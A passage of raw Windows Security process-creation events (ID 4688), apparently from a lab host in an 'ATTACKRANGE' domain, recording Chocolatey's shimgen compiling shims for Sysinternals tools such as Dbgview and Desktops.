Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246451 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x6c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\disk2vhd.exe" --output="C:\ProgramData\chocolatey\bin\disk2vhd.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\disk2vhd.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246450 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfb8 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8bc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC3D7.tmp" "c:\ProgramData\chocolatey\bin\CSC4DC32BC0EFF3497FA2C0E660D084AF60.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246449 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xb10 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x8bc - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246448 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x8bc - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Desktops.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_8022\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246447 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe28 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xfcc - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246446 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xfcc - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Desktops.exe" --output="C:\ProgramData\chocolatey\bin\Desktops.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Desktops.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246445 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe84 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9ac - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC2FD.tmp" "c:\ProgramData\chocolatey\bin\CSC8C63BAB3D52443E3A792EF64B4EA7315.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246444 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xf6c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x9ac - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246443 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x9ac - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\dbgview64.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_5835\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246442 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x42c - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xef8 - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246441 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xef8 - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\dbgview64.exe" --output="C:\ProgramData\chocolatey\bin\dbgview64.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\dbgview64.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246440 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd8c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC212.tmp" "c:\ProgramData\chocolatey\bin\CSCDA2B508FED9D414A8C78B516A37B91DE.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246439 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x628 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x64c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246438 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x64c - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe3c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /checked+ /nowarn:1701,1702 /nostdlib+ /platform:AnyCPU /errorreport:prompt /main:shim.ShimProgram /errorendlocation /preferreduilang:en-US /highentropyva- /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorlib.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.Core.dll" /reference:"C:\Windows\Microsoft.NET\Framework64\v4.0.30319\System.dll" /debug- /filealign:512 /optimize+ /out:"C:\ProgramData\chocolatey\bin\Dbgview.exe" /target:exe /utf8output /win32icon:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\shim.ico" /win32manifest:"C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\app.manifest" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\CommandExecutor.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\ShimProgram.cs" "C:\ProgramData\shimgen\generatedfiles\20210301_123407_3491\Assembly.cs" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246437 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xcf8 - New Process Name: C:\Windows\System32\conhost.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xe3c - Creator Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Process Command Line: \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246436 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xe3c - New Process Name: C:\ProgramData\chocolatey\tools\shimgen.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x830 - Creator Process Name: C:\ProgramData\chocolatey\choco.exe - Process Command Line: "C:\ProgramData\chocolatey\tools\shimgen.exe" --path="..\\lib\sysinternals\tools\Dbgview.exe" --output="C:\ProgramData\chocolatey\bin\Dbgview.exe" --iconpath="C:\ProgramData\chocolatey\lib\sysinternals\tools\Dbgview.exe" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246435 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xdc0 - New Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xb2c - Creator Process Name: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe - Process Command Line: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Administrator\AppData\Local\Temp\chocolatey\RESC128.tmp" "c:\ProgramData\chocolatey\bin\CSCF060E0AAF9394CED9A7EF57CD51F5F98.TMP" - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:41:01 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725 -TaskCategory=Process Creation -OpCode=Info -RecordNumber=246434 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: WIN-DC-725 - Logon ID: 0x9318E - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process 